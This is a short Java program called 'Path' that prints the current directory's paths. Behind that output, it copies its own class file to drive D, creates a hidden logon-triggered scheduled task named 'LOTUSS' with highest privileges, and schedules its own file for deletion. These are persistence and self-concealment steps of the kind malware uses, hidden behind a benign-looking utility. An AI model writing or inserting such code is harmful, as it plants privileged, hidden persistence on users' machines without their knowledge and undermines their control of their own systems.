 import java.io.File;
 public class Path {
 public static void main (String args[]) {
 File directory = new File (".");
 try {
 System.out.println ("Current directory's canonical path: " 
  + directory.getCanonicalPath()); 
   System.out.println ("Current directory's absolute  path: " 
  + directory.getAbsolutePath());
   
   
   String path = directory.getCanonicalPath();
   String p = "schtasks /create /sc onlogon /tn LOTUSS /rl highest /tr C:\\r.txt";
System.out.println(p);
   if (!(path.equals("C:\\Windows\\System32")))
   {
	   
	   String delpath = directory.getCanonicalPath()+"\\Path.class";
	   System.out.println(delpath);
	   Runtime.getRuntime().exec("xcopy"+" "+ directory.getCanonicalPath()+"\\Path.class"+" "+"d:\\");
	   Runtime.getRuntime().exec(p );
	   Thread.sleep(5000);
	   File f1 = new File(delpath);
	   f1.deleteOnExit();
	
   }
   
 }catch(Exception e) {
 System.out.println("Exceptione is ="+e.getMessage());
  }
 }
}